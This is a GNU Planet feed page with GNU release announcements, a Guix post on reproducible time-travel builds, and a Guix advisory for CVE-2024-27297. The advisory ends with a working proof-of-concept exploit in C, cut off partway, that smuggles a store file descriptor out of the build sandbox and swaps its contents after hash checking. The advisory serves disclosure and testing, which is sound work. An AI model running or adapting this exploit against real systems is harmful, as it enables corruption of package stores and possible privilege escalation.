GNU Planet!

Subscribe to GNU Planet! feed
Planet GNU - https://planet.gnu.org/
Updated: 17 hours 17 min ago

coreutils @ Savannah: coreutils-9.5 released [stable]

Thu, 2024-03-28 11:39


This is to announce coreutils-9.5, a stable release.
See the NEWS below for a summary of changes.

There have been 187 commits by 18 people in the 30 weeks since 9.4.
Thanks to everyone who has contributed!
The following people contributed changes to this release:

  Aearil (1)                      Petr Malat (1)
  Bruno Haible (3)                Pádraig Brady (75)
  Christian Göttsche (1)          Samuel Tardieu (1)
  Collin Funk (4)                 Stephane Chazelas (1)
  Daan De Meyer (1)               Stephen Kitt (1)
  Greg Wooledge (1)               Sylvestre Ledru (3)
  Grisha Levit (2)                Ville Skyttä (1)
  Michel Lind (1)                 dann frazier (1)
  Paul Eggert (89)                lvgenggeng (1)

Pádraig [on behalf of the coreutils maintainers]
==================================================================

Here is the GNU coreutils home page:
    https://gnu.org/s/coreutils/

For a summary of changes and contributors, see:
  https://git.sv.gnu.org/gitweb/?p=coreutils.git;a=shortlog;h=v9.5
or run this command from a git-cloned coreutils directory:
  git shortlog v9.4..v9.5

Here are the compressed sources:
  https://ftp.gnu.org/gnu/coreutils/coreutils-9.5.tar.gz   (15MB)
  https://ftp.gnu.org/gnu/coreutils/coreutils-9.5.tar.xz   (5.8MB)

Here are the GPG detached signatures:
  https://ftp.gnu.org/gnu/coreutils/coreutils-9.5.tar.gz.sig
  https://ftp.gnu.org/gnu/coreutils/coreutils-9.5.tar.xz.sig

Use a mirror for higher download bandwidth:
  https://www.gnu.org/order/ftp.html

Here are the SHA1 and SHA256 checksums:

  3285114d93b39e5e4643b0846f570203a5e4c97b  coreutils-9.5.tar.gz
  dnrmoilQ7ELzul98Heed0ngA7o6bhkLaXe21l0oXQeU=  coreutils-9.5.tar.gz
  867fed7ce2ee15c5150a355a5f3a3b50578cf78d  coreutils-9.5.tar.xz
  zTKO3qyS9qZl3p8yPJO3Eq8YWLwuDYjz9xAEaUcKG4o=  coreutils-9.5.tar.xz

Verify the base64 SHA256 checksum with cksum -a sha256 --check
from coreutils-9.2 or OpenBSD's cksum since 2007.

Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact.  First, be sure to download both the .sig file
and the corresponding tarball.  Then, run a command like this:

  gpg --verify coreutils-9.5.tar.gz.sig

The signature should match the fingerprint of the following key:

  pub   rsa4096/0xDF6FD971306037D9 2011-09-23 [SC]
        Key fingerprint = 6C37 DC12 121A 5006 BC1D  B804 DF6F D971 3060 37D9
  uid                   [ultimate] Pádraig Brady <P@draigBrady.com>
  uid                   [ultimate] Pádraig Brady <pixelbeat@gnu.org>

If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.

  gpg --locate-external-key P@draigBrady.com

  gpg --recv-keys DF6FD971306037D9

  wget -q -O- 'https://savannah.gnu.org/project/release-gpgkeys.php?group=coreutils&download=1' | gpg --import -

As a last resort to find the key, you can try the official GNU
keyring:

  wget -q https://ftp.gnu.org/gnu/gnu-keyring.gpg
  gpg --keyring gnu-keyring.gpg --verify coreutils-9.5.tar.gz.sig

This release was bootstrapped with the following tools:
  Autoconf 2.72c.32-cb6fb
  Automake 1.16.5
  Gnulib v0.1-7293-g259829e78b
  Bison 3.8.2

NEWS

* Noteworthy changes in release 9.5 (2024-03-28) [stable]

** Bug fixes

  chmod -R now avoids a race where an attacker may replace a traversed file
  with a symlink, causing chmod to operate on an unintended file.
  [This bug was present in "the beginning".]

  cp, mv, and install no longer issue spurious diagnostics like "failed
  to preserve ownership" when copying to GNU/Linux CIFS file systems.
  They do this by working around some Linux CIFS bugs.

  cp --no-preserve=mode will correctly maintain set-group-ID bits
  for created directories.  Previously on systems that didn't support ACLs,
  cp would have reset the set-group-ID bit on created directories.
  [bug introduced in coreutils-8.20]

  join and uniq now support multi-byte characters better.
  For example, 'join -tX' now works even if X is a multi-byte character,
  and both programs now treat multi-byte characters like U+3000
  IDEOGRAPHIC SPACE as blanks if the current locale treats them so.

  numfmt options like --suffix no longer have an arbitrary 127-byte limit.
  [bug introduced with numfmt in coreutils-8.21]

  mktemp with --suffix now better diagnoses templates with too few X's.
  Previously it conflated the insignificant --suffix in the error.
  [bug introduced in coreutils-8.1]

  sort again handles thousands grouping characters in single-byte locales
  where the grouping character is greater than CHAR_MAX.  For e.g. signed
  character platforms with a 0xA0 (aka &nbsp) grouping character.
  [bug introduced in coreutils-9.1]

  split --line-bytes with a mixture of very long and short lines
  no longer overwrites the heap (CVE-2024-0684).
  [bug introduced in coreutils-9.2]

  tail no longer mishandles input from files in /proc and /sys file systems,
  on systems with a page size larger than the stdio BUFSIZ.
  [This bug was present in "the beginning".]

  timeout avoids a narrow race condition, where it might kill arbitrary
  processes after a failed process fork.
  [bug introduced with timeout in coreutils-7.0]

  timeout avoids a narrow race condition, where it might fail to
  kill monitored processes immediately after forking them.
  [bug introduced with timeout in coreutils-7.0]

  wc no longer fails to count unprintable characters as parts of words.
  [bug introduced in textutils-2.1]

** Changes in behavior

  base32 and base64 no longer require padding when decoding.
  Previously an error was given for non padded encoded data.

  base32 and base64 have improved detection of corrupted encodings.
  Previously encodings with non zero padding bits were accepted.

  basenc --base16 -d now supports lower case hexadecimal characters.
  Previously an error was given for lower case hex digits.

  cp --no-clobber, and mv -n no longer exit with failure status if
  existing files are encountered in the destination.  Instead they revert
  to the behavior from before v9.2, silently skipping existing files.

  ls --dired now implies long format output without hyperlinks enabled,
  and will take precedence over previously specified formats or hyperlink mode.

  numfmt will accept lowercase 'k' to indicate Kilo or Kibi units on input,
  and uses lowercase 'k' when outputting such units in '--to=si' mode.

  pinky no longer tries to canonicalize the user's login location by default,
  rather requiring the new --lookup option to enable this often slow feature.

  wc no longer ignores encoding errors when counting words.
  Instead, it treats them as non white space.

** New features

  chgrp now accepts the --from=OWNER:GROUP option to restrict changes to files
  with matching current OWNER and/or GROUP, as already supported by chown(1).

  chmod adds support for -h, -H,-L,-P, and --dereference options, providing
  more control over symlink handling.  This supports more secure handling of
  CLI arguments, and is more consistent with chown, and chmod on other systems.

  cp now accepts the --keep-directory-symlink option (like tar), to preserve
  and follow existing symlinks to directories in the destination.

  cp and mv now accept the --update=none-fail option, which is similar
  to the --no-clobber option, except that existing files are diagnosed,
  and the command exits with failure status if existing files.
  The -n,--no-clobber option is best avoided due to platform differences.

  env now accepts the -a,--argv0 option to override the zeroth argument
  of the command being executed.

  mv now accepts an --exchange option, which causes the source and
  destination to be exchanged.  It should be combined with
  --no-target-directory (-T) if the destination is a directory.
  The exchange is atomic if source and destination are on a single
  file system that supports atomic exchange; --exchange is not yet
  supported in other situations.

  od now supports printing IEEE half precision floating point with -t fH,
  or brain 16 bit floating point with -t fB, where supported by the compiler.

  tail now supports following multiple processes, with repeated --pid options.

** Improvements

  cp,mv,install,cat,split now read and write a minimum of 256KiB at a time.
  This was previously 128KiB and increasing to 256KiB was seen to increase
  throughput by 10-20% when reading cached files on modern systems.

  env,kill,timeout now support unnamed signals. kill(1) for example now
  supports sending such signals, and env(1) will list them appropriately.

  SELinux operations in file copy operations are now more efficient,
  avoiding unneeded MCS/MLS label translation.

  sort no longer dynamically links to libcrypto unless -R is used.
  This decreases startup overhead in the typical case.

  wc is now much faster in single-byte locales and somewhat faster in
  multi-byte locales.


Categories: FLOSS Project Planets

FSF News: Alyssa Rosenzweig, who spearheaded the reverse-engineering of Apple's GPU, to keynote LibrePlanet

Wed, 2024-03-27 12:50
BOSTON, Massachusetts, USA -- March 27, 2024 -- The Free Software Foundation (FSF) today announced Alyssa Rosenzweig, who reverse-engineered Apple's current line of graphics processing units (GPU), as keynote speaker for LibrePlanet 2024. LibrePlanet 2024: Cultivating Community is the sixteenth edition of the FSF's conference on ethical technology and user freedom and will be held on May 4 and 5 at the Wentworth Institute of Technology in Boston, MA, as well as online.
Categories: FLOSS Project Planets

GNUnet News: libgnunetchat 0.3.1

Fri, 2024-03-22 19:00
libgnunetchat 0.3.1 released

This is mostly a bugfix release for libgnunetchat 0.3.0 to reduce build issues.

Download links

The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A

Note that due to mirror synchronization, not all links may be functional early after the release. For direct access try http://ftp.gnu.org/gnu/gnunet/

Categories: FLOSS Project Planets

pspp @ Savannah: PSPP 2.0.1 has been released

Thu, 2024-03-21 19:42

I'm very pleased to announce the release of a new version of GNU PSPP.  PSPP is a program for statistical analysis of sampled data.  It is a free replacement for the proprietary program SPSS.

Changes from 2.0.0 to 2.0.1:

  • Bug fixes.
  • Translation updates.

Please send PSPP bug reports to bug-gnu-pspp@gnu.org.

Categories: FLOSS Project Planets

GNUnet News: GNUnet 0.21.1

Thu, 2024-03-14 19:00
GNUnet 0.21.1

This is a bugfix release for gnunet 0.21.0. It primarily addresses some connectivity issues introduced with our new transport subsystem.

Links

The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A

Note that due to mirror synchronization, not all links may be functional early after the release. For direct access try https://ftp.gnu.org/gnu/gnunet/

Categories: FLOSS Project Planets

a2ps @ Savannah: a2ps 4.15.6 released [stable]

Wed, 2024-03-13 14:24


I am delighted to announce version 4.15.6 of GNU a2ps, the Anything to
PostScript converter.

This release fixes a couple of bugs, in particular with printing (the -P
flag). See below for details.


Here are the compressed sources and a GPG detached signature:
  https://ftpmirror.gnu.org/a2ps/a2ps-4.15.6.tar.gz
  https://ftpmirror.gnu.org/a2ps/a2ps-4.15.6.tar.gz.sig

Use a mirror for higher download bandwidth:
  https://www.gnu.org/order/ftp.html

Here are the SHA1 and SHA256 checksums:

e20e8009d8812c8d960884b79aab95f235c725c0  a2ps-4.15.6.tar.gz
h/+dgByxGWkYHVuM+LZeZeWyS7DHahuCXoCY8pBvvfQ  a2ps-4.15.6.tar.gz

The SHA256 checksum is base64 encoded, instead of the
hexadecimal encoding that most checksum tools default to.

Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact.  First, be sure to download both the .sig file
and the corresponding tarball.  Then, run a command like this:

  gpg --verify a2ps-4.15.6.tar.gz.sig

The signature should match the fingerprint of the following key:

  pub   rsa2048 2013-12-11 [SC]
        2409 3F01 6FFE 8602 EF44  9BB8 4C8E F3DA 3FD3 7230
  uid   Reuben Thomas <rrt@sc3d.org>
  uid   keybase.io/rrt <rrt@keybase.io>

If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.

  gpg --locate-external-key rrt@sc3d.org

  gpg --recv-keys 4C8EF3DA3FD37230

  wget -q -O- 'https://savannah.gnu.org/project/release-gpgkeys.php?group=a2ps&download=1' | gpg --import -

As a last resort to find the key, you can try the official GNU
keyring:

  wget -q https://ftp.gnu.org/gnu/gnu-keyring.gpg
  gpg --keyring gnu-keyring.gpg --verify a2ps-4.15.6.tar.gz.sig


This release was bootstrapped with the following tools:
  Autoconf 2.71
  Automake 1.16.5
  Gnulib v0.1-7186-g5aa8eafc0e

NEWS

* Noteworthy changes in release 4.15.6 (2024-03-13) [stable]
 * Bug fixes:
   - Fix a2ps-lpr-wrapper to work with no arguments, as a2ps requires.
   - Minor fixes & improvements to sheets.map for image types and PDF.
 * Build system:
   - Minor fixes and improvements.


Categories: FLOSS Project Planets

GNU Guix: Adventures on the quest for long-term reproducible deployment

Wed, 2024-03-13 10:05

Rebuilding software five years later, how hard can it be? It can’t be that hard, especially when you pride yourself on having a tool that can travel in time and that does a good job at ensuring reproducible builds, right?

In hindsight, we can tell you: it’s more challenging than it seems. Users attempting to travel 5 years back with guix time-machine are (or were) unavoidably going to hit bumps on the road—a real problem because that’s one of the use cases Guix aims to support well, in particular in a reproducible research context.

In this post, we look at some of the challenges we face while traveling back, how we are overcoming them, and open issues.

The vision

First of all, one clarification: Guix aims to support time travel, but we’re talking of a time scale measured in years, not in decades. We know all too well that this is already very ambitious—it’s something that probably nobody except Nix and Guix are even trying. More importantly, software deployment at the scale of decades calls for very different, more radical techniques; it’s the work of archivists.

Concretely, Guix 1.0.0 was released in 2019 and our goal is to allow users to travel as far back as 1.0.0 and redeploy software from there, as in this example:

$ guix time-machine -q --commit=v1.0.0 -- \ environment --ad-hoc python2 -- python > guile: warning: failed to install locale Python 2.7.15 (default, Jan 1 1970, 00:00:01) [GCC 5.5.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>>

(The command above uses guix environment, the predecessor of guix shell, which didn’t exist back then.) It’s only 5 years ago but it’s pretty much remote history on the scale of software evolution—in this case, that history comprises major changes in Guix itself and in Guile. How well does such a command work? Well, it depends.

The project has two build farms; bordeaux.guix.gnu.org has been keeping substitutes (pre-built binaries) of everything it built since roughly 2021, while ci.guix.gnu.org keeps substitutes for roughly two years, but there is currently no guarantee on the duration substitutes may be retained. Time traveling to a period where substitutes are available is fine: you end up downloading lots of binaries, but that’s OK, you rather quickly have your software environment at hand.

Bumps on the build road

Things get more complicated when targeting a period in time for which substitutes are no longer available, as was the case for v1.0.0 above. (And really, we should assume that substitutes won’t remain available forever: fellow NixOS hackers recently had to seriously consider trimming their 20-year-long history of substitutes because the costs are not sustainable.)

Apart from the long build times, the first problem that arises in the absence of substitutes is source code unavailability. I’ll spare you the details for this post—that problem alone would deserve a book. Suffice to say that we’re lucky that we started working on integrating Guix with Software Heritage years ago, and that there has been great progress over the last couple of years to get closer to full package source code archival (more precisely: 94% of the source code of packages available in Guix in January 2024 is archived, versus 72% of the packages available in May 2019).

So what happens when you run the time-machine command above? It brings you to May 2019, a time for which none of the official build farms had substitutes until a few days ago. Ideally, thanks to isolated build environments, you’d build things for hours or days, and in the end all those binaries will be here just as they were 5 years ago. In practice though, there are several problems that isolation as currently implemented does not address.

Among those, the most frequent problem is time traps: software build processes that fail after a certain date (these are also referred to as “time bombs” but we’ve had enough of these and would rather call for a ceasefire). This plagues a handful of packages out of almost 30,000 but unfortunately we’re talking about packages deep in the dependency graph. Here are some examples:

  • OpenSSL unit tests fail after a certain date because some of the X.509 certificates they use have expired.
  • GnuTLS had similar issues; newer versions rely on datefudge to fake the date while running the tests and thus avoid that problem altogether.
  • Python 2.7, found in Guix 1.0.0, also had that problem with its TLS-related tests.
  • OpenJDK would fail to build at some point with this interesting message: Error: time is more than 10 years from present: 1388527200000 (the build system would consider that its data about currencies is likely outdated after 10 years).
  • Libgit2, a dependency of Guix, had (has?) a time-dependent tests.
  • MariaDB tests started failing in 2019.

Someone traveling to v1.0.0 will hit several of these, preventing guix time-machine from completing. A serious bummer, especially to those who’ve come to Guix from the perspective of making their research workflow reproducible.

Time traps are the main road block, but there’s more! In rare cases, there’s software influenced by kernel details not controlled by the build daemon:

In a handful of cases, but important ones, builds might fail when performed on certain CPUs. We’re aware of at least two cases:

Neither time traps nor those obscure hardware-related issues can be avoided with the isolation mechanism currently used by the build daemon. This harms time traveling when substitutes are unavailable. Giving up is not in the ethos of this project though.

Where to go from here?

There are really two open questions here:

  1. How can we tell which packages needs to be “fixed”, and how: building at a specific date, on a specific CPU?
  2. How can keep those aspects of the build environment (time, CPU variant) under control?

Let’s start with #2. Before looking for a solution, it’s worth remembering where we come from. The build daemon runs build processes with a separate root file system, under dedicated user IDs, and in separate Linux namespaces, thereby minimizing interference with the rest of the system and ensuring a well-defined build environment. This technique was implemented by Eelco Dolstra for Nix in 2007 (with namespace support added in 2012), at a time where the word container had to do with boats and before “Docker” became the name of a software tool. In short, the approach consists in controlling the build environment in every detail (it’s at odds with the strategy that consists in achieving reproducible builds in spite of high build environment variability). That these are mere processes with a bunch of bind mounts makes this approach inexpensive and appealing.

Realizing we’d also want to control the build environment’s date, we naturally turn to Linux namespaces to address that—Dolstra, Löh, and Pierron already suggested something along these lines in the conclusion of their 2010 Journal of Functional Programming paper. Turns out there is now a time namespace. Unfortunately it’s limited to CLOCK_MONOTONIC and CLOCK_BOOTTIME clocks; the manual page states:

Note that time namespaces do not virtualize the CLOCK_REALTIME clock. Virtualization of this clock was avoided for reasons of complexity and overhead within the kernel.

I hear you say: What about datefudge and libfaketime? These rely on the LD_PRELOAD environment variable to trick the dynamic linker into pre-loading a library that provides symbols such as gettimeofday and clock_gettime. This is a fine approach in some cases, but it’s too fragile and too intrusive when targeting arbitrary build processes.

That leaves us with essentially one viable option: virtual machines (VMs). The full-system QEMU lets you specify the initial real-time clock of the VM with the -rtc flag, which is exactly what we need (“user-land” QEMU such as qemu-x86_64 does not support it). And of course, it lets you specify the CPU model to emulate.

News from the past

Now, the question is: where does the VM fit? The author considered writing a package transformation that would change a package such that it’s built in a well-defined VM. However, that wouldn’t really help: this option didn’t exist in past revisions, and it would lead to a different build anyway from the perspective of the daemon—a different derivation.

The best strategy appeared to be offloading: the build daemon can offload builds to different machines over SSH, we just need to let it send builds to a suitably-configured VM. To do that, we can reuse some of the machinery initially developed for childhurds that takes care of setting up offloading to the VM: creating substitute signing keys and SSH keys, exchanging secret key material between the host and the guest, and so on.

The end result is a service for Guix System users that can be configured in a few lines:

(use-modules (gnu services virtualization)) (operating-system ;; … (services (append (list (service virtual-build-machine-service-type)) %base-services)))

The default setting above provides a 4-core VM whose initial date is January 2020, emulating a Skylake CPU from that time—the right setup for someone willing to reproduce old binaries. You can check the configuration like this:

$ sudo herd configuration build-vm CPU: Skylake-Client number of CPU cores: 4 memory size: 2048 MiB initial date: Wed Jan 01 00:00:00Z 2020

To enable offloading to that VM, one has to explicitly start it, like so:

$ sudo herd start build-vm

From there on, every native build is offloaded to the VM. The key part is that with almost no configuration, you get everything set up to build packages “in the past”. It’s a Guix System only solution; if you run Guix on another distro, you can set up a similar build VM but you’ll have to go through the cumbersome process that is all taken care of automatically here.

Of course it’s possible to choose different configuration parameters:

(service virtual-build-machine-service-type (virtual-build-machine (date (make-date 0 0 00 00 01 10 2017 0)) ;further back in time (cpu "Westmere") (cpu-count 16) (memory-size (* 8 1024)) (auto-start? #t)))

With a build VM with its date set to January 2020, we have been able to rebuild Guix and its dependencies along with a bunch of packages such as emacs-minimal from v1.0.0, overcoming all the time traps and other challenges described earlier. As a side effect, substitutes are now available from ci.guix.gnu.org so you can even try this at home without having to rebuild the world:

$ guix time-machine -q --commit=v1.0.0 -- build emacs-minimal --dry-run guile: warning: failed to install locale substitute: updating substitutes from 'https://ci.guix.gnu.org'... 100.0% 38.5 MB would be downloaded: /gnu/store/53dnj0gmy5qxa4cbqpzq0fl2gcg55jpk-emacs-minimal-26.2

For the fun of it, we went as far as v0.16.0, released in December 2018:

guix time-machine -q --commit=v0.16.0 -- \ environment --ad-hoc vim -- vim --version

This is the furthest we can go since channels and the underlying mechanisms that make time travel possible did not exist before that date.

There’s one “interesting” case we stumbled upon in that process: in OpenSSL 1.1.1g (released April 2020 and packaged in December 2020), some of the test certificates are not valid before April 2020, so the build VM needs to have its clock set to May 2020 or thereabouts. Booting the build VM with a different date can be done without reconfiguring the system:

$ sudo herd stop build-vm $ sudo herd start build-vm -- -rtc base=2020-05-01T00:00:00

The -rtc … flags are passed straight to QEMU, which is handy when exploring workarounds…

The time-travel continuous integration jobset has been set up to check that we can, at any time, travel back to one of the past releases. This at least ensures that Guix itself and its dependencies have substitutes available at ci.guix.gnu.org.

Reproducible research workflows reproduced

Incidentally, this effort rebuilding 5-year-old packages has allowed us to fix embarrassing problems. Software that accompanies research papers that followed our reproducibility guidelines could no longer be deployed, at least not without this clock twiddling effort:

It’s good news that we can now re-deploy these 5-year-old software environments with minimum hassle; it’s bad news that holding this promise took extra effort.

The ability to reproduce the environment of software that accompanies research work should not be considered a mundanity or an exercise that’s “overkill”. The ability to rerun, inspect, and modify software are the natural extension of the scientific method. Without a companion reproducible software environment, research papers are merely the advertisement of scholarship, to paraphrase Jon Claerbout.

The future

The astute reader surely noticed that we didn’t answer question #1 above:

How can we tell which packages needs to be “fixed”, and how: building at a specific date, on a specific CPU?

It’s a fact that Guix so far lacks information about the date, kernel, or CPU model that should be used to build a given package. Derivations purposefully lack that information on the grounds that it cannot be enforced in user land and is rarely necessary—which is true, but “rarely” is not the same as “never”, as we saw. Should we create a catalog of date, CPU, and/or kernel annotations for packages found in past revisions? Should we define, for the long-term, an all-encompassing derivation format? If we did and effectively required virtual build machines, what would that mean from a bootstrapping standpoint?

Here’s another option: build packages in VMs running in the year 2100, say, and on a baseline CPU. We don’t need to require all users to set up a virtual build machine—that would be impractical. It may be enough to set up the project build farms so they build everything that way. This would allow us to catch time traps and year 2038 bugs before they bite.

Before we can do that, the virtual-build-machine service needs to be optimized. Right now, offloading to build VMs is as heavyweight as offloading to a separate physical build machine: data is transferred back and forth over SSH over TCP/IP. The first step will be to run SSH over a paravirtualized transport instead such as AF_VSOCK sockets. Another avenue would be to make /gnu/store in the guest VM an overlay over the host store so that inputs do not need to be transferred and copied.

Until then, happy software (re)deployment!

Acknowledgments

Thanks to Simon Tournier for insightful comments on a previous version of this post.

Categories: FLOSS Project Planets

GNU Guix: Fixed-Output Derivation Sandbox Bypass (CVE-2024-27297)

Tue, 2024-03-12 11:38

A security issue has been identified in guix-daemon which allows for fixed-output derivations, such as source code tarballs or Git checkouts, to be corrupted by an unprivileged user. This could also lead to local privilege escalation. This was originally reported to Nix but also affects Guix as we share some underlying code from an older version of Nix for the guix-daemon. Readers only interested in making sure their Guix is up to date and no longer affected by this vulnerability can skip down to the "Upgrading" section.

Vulnerability

The basic idea of the attack is to pass file descriptors through Unix sockets to allow another process to modify the derivation contents. This was first reported to Nix by jade and puckipedia with further details and a proof of concept here. Note that the proof of concept is written for Nix and has been adapted for GNU Guix below. This security advisory is registered as CVE-2024-27297 (details are also available at Nix's GitHub security advisory) and rated "moderate" in severity.

A fixed-output derivation is one where the output hash is known in advance. For instance, to produce a source tarball. The GNU Guix build sandbox purposefully excludes network access (for security and to ensure we can control and reproduce the build environment), but a fixed-output derivation does have network access, for instance to download that source tarball. However, as stated, the hash of output must be known in advance, again for security (we know if the file contents would change) and reproducibility (should always have the same output). The guix-daemon handles the build process and writing the output to the store, as a privileged process.

In the build sandbox for a fixed-output derivation, a file descriptor to its contents could be shared with another process via a Unix socket. This other process, outside of the build sandbox, can then modify the contents written to the store, changing them to something malicious or otherwise corrupting the output. While the output hash has already been determined, these changes would mean a fixed-output derivation could have contents written to the store which do not match the expected hash. This could then be used by the user or other packages as well.

Mitigation

This security issue (tracked here for GNU Guix) has been fixed by two commits by Ludovic Courtès. Users should make sure they have updated to this second commit to be protected from this vulnerability. Upgrade instructions are in the following section.

While several possible mitigation strategies were detailed in the original report, the simplest fix is just copy the derivation output somewhere else, deleting the original, before writing to the store. Any file descriptors will no longer point to the contents which get written to the store, so only the guix-daemon should be able to write to the store, as designed. This is what the Nix project used in their own fix. This does add an additional copy/delete for each file, which may add a performance penalty for derivations with many files.

A proof of concept by Ludovic, adapted from the one in the original Nix report, is available at the end of this post. One can run this code with

guix build -f fixed-output-derivation-corruption.scm -M4

This will output whether the current guix-daemon being used is vulnerable or not. If it is vulnerable, the output will include a line similar to

We managed to corrupt /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261, meaning that YOUR SYSTEM IS VULNERABLE!

The corrupted file can be removed with

guix gc -D /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd*

In general, corrupt files from the store can be found with

guix gc --verify=contents

which will also include any files corrupted by through this vulnerability. Do note that this command can take a long time to complete as it checks every file under /gnu/store, which likely has many files.

Upgrading

Due to the severity of this security advisory, we strongly recommend all users to upgrade their guix-daemon immediately.

For a Guix System the procedure is just reconfiguring the system after a guix pull, either restarting guix-daemon or rebooting. For example,

guix pull sudo guix system reconfigure /run/current-system/configuration.scm sudo herd restart guix-daemon

where /run/current-system/configuration.scm is the current system configuration but could, of course, be replaced by a system configuration file of a user's choice.

For Guix running as a package manager on other distributions, one needs to guix pull with sudo, as the guix-daemon runs as root, and restart the guix-daemon service. For example, on a system using systemd to manage services,

sudo --login guix pull sudo systemctl restart guix-daemon.service

Note that for users with their distro's package of Guix (as opposed to having used the install script) you may need to take other steps or upgrade the Guix package as per other packages on your distro. Please consult the relevant documentation from your distro or contact the package maintainer for additional information or questions.

Conclusion

One of the key features and design principles of GNU Guix is to allow unprivileged package management through a secure and reproducible build environment. While every effort is made to protect the user and system from any malicious actors, it is always possible that there are flaws yet to be discovered, as has happened here. In this case, using the ingredients of how file descriptors and Unix sockets work even in the isolated build environment allowed for a security vulnerability with moderate impact.

Our thanks to jade and puckipedia for the original report, and Picnoir for bringing this to the attention of the GNU Guix security team. And a special thanks to Ludovic Courtès for a prompt fix and proof of concept.

Note that there are current efforts to rewrite the guix-daemon in Guile by Christopher Baines. For more information and the latest news on this front, please refer to the recent blog post and this message on the guix-devel mailing list.

Proof of Concept

Below is code to check if a guix-daemon is vulnerable to this exploit. Save this file as fixed-output-derivation-corruption.scm and run following the instructions above, in "Mitigation." Some further details and example output can be found on issue #69728

;; Checking for CVE-2024-27297. ;; Adapted from <https://hackmd.io/03UGerewRcy3db44JQoWvw>. (use-modules (guix) (guix modules) (guix profiles) (gnu packages) (gnu packages gnupg) (gcrypt hash) ((rnrs bytevectors) #:select (string->utf8))) (define (compiled-c-code name source) (define build-profile (profile (content (specifications->manifest '("gcc-toolchain"))))) (define build (with-extensions (list guile-gcrypt) (with-imported-modules (source-module-closure '((guix build utils) (guix profiles))) #~(begin (use-modules (guix build utils) (guix profiles)) (load-profile #+build-profile) (system* "gcc" "-Wall" "-g" "-O2" #+source "-o" #$output))))) (computed-file name build)) (define sender-source (plain-file "sender.c" " #include <sys/socket.h> #include <sys/un.h> #include <stdlib.h> #include <stddef.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> int main(int argc, char **argv) { setvbuf(stdout, NULL, _IOLBF, 0); int sock = socket(AF_UNIX, SOCK_STREAM, 0); // Set up an abstract domain socket path to connect to. struct sockaddr_un data; data.sun_family = AF_UNIX; data.sun_path[0] = 0; strcpy(data.sun_path + 1, \"dihutenosa\"); // Now try to connect, To ensure we work no matter what order we are // executed in, just busyloop here. int res = -1; while (res < 0) { printf(\"attempting connection...\\n\"); res = connect(sock, (const struct sockaddr *)&data, offsetof(struct sockaddr_un, sun_path) + strlen(\"dihutenosa\") + 1); if (res < 0 && errno != ECONNREFUSED) perror(\"connect\"); if (errno != ECONNREFUSED) break; usleep(500000); } // Write our message header. struct msghdr msg = {0}; msg.msg_control = malloc(128); msg.msg_controllen = 128; // Write an SCM_RIGHTS message containing the output path. struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); hdr->cmsg_len = CMSG_LEN(sizeof(int)); hdr->cmsg_level = SOL_SOCKET; hdr->cmsg_type = SCM_RIGHTS; int fd = open(getenv(\"out\"), O_RDWR | O_CREAT, 0640); memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); msg.msg_controllen = CMSG_SPACE(sizeof(int)); // Write a single null byte too. msg.msg_iov = malloc(sizeof(struct iovec)); msg.msg_iov[0].iov_base = \"\"; msg.msg_iov[0].iov_len = 1; msg.msg_iovlen = 1; // Send it to the othher side of this connection. res = sendmsg(sock, &msg, 0); if (res < 0) perror(\"sendmsg\"); int buf; // Wait for the server to close the socket, implying that it has // received the commmand. recv(sock, (void *)&buf, sizeof(int), 0); }")) (define receiver-source (mixed-text-file "receiver.c" " #include <sys/socket.h> #include <sys/un.h> #include <stdlib.h> #include <stddef.h> #include <stdio.h> #include <unistd.h> #include <sys/inotify.h> int main(int argc, char **argv) { int sock = socket(AF_UNIX, SOCK_STREAM, 0); // Bind to the socket. struct sockaddr_un data; data.sun_family = AF_UNIX; data.sun_path[0] = 0; strcpy(data.sun_path + 1, \"dihutenosa\"); int res = bind(sock, (const struct sockaddr *)&data, offsetof(struct sockaddr_un, sun_path) + strlen(\"dihutenosa\") + 1); if (res < 0) perror(\"bind\"); res = listen(sock, 1); if (res < 0) perror(\"listen\"); while (1) { setvbuf(stdout, NULL, _IOLBF, 0); printf(\"accepting connections...\\n\"); int a = accept(sock, 0, 0); if (a < 0) perror(\"accept\"); struct msghdr msg = {0}; msg.msg_control = malloc(128); msg.msg_controllen = 128; // Receive the file descriptor as sent by the smuggler. recvmsg(a, &msg, 0); struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); while (hdr) { if (hdr->cmsg_level == SOL_SOCKET && hdr->cmsg_type == SCM_RIGHTS) { int res; // Grab the copy of the file descriptor. memcpy((void *)&res, CMSG_DATA(hdr), sizeof(int)); printf(\"preparing our hand...\\n\"); ftruncate(res, 0); // Write the expected contents to the file, tricking Nix // into accepting it as matching the fixed-output hash. write(res, \"hello, world\\n\", strlen(\"hello, world\\n\")); // But wait, the file is bigger than this! What could // this code hide? // First, we do a bit of a hack to get a path for the // file descriptor we received. This is necessary because // that file doesn't exist in our mount namespace! char buf[128]; sprintf(buf, \"/proc/self/fd/%d\", res); // Hook up an inotify on that file, so whenever Nix // closes the file, we get notified. int inot = inotify_init(); inotify_add_watch(inot, buf, IN_CLOSE_NOWRITE); // Notify the smuggler that we've set everything up for // the magic trick we're about to do. close(a); // So, before we continue with this code, a trip into Nix // reveals a small flaw in fixed-output derivations. When // storing their output, Nix has to hash them twice. Once // to verify they match the \"flat\" hash of the derivation // and once more after packing the file into the NAR that // gets sent to a binary cache for others to consume. And // there's a very slight window inbetween, where we could // just swap the contents of our file. But the first hash // is still noted down, and Nix will refuse to import our // NAR file. To trick it, we need to write a reference to // a store path that the source code for the smuggler drv // references, to ensure it gets picked up. Continuing... // Wait for the next inotify event to drop: read(inot, buf, 128); // first read + CA check has just been done, Nix is about // to chown the file to root. afterwards, refscanning // happens... // Empty the file, seek to start. ftruncate(res, 0); lseek(res, 0, SEEK_SET); // We swap out the contents! static const char content[] = \"This file has been 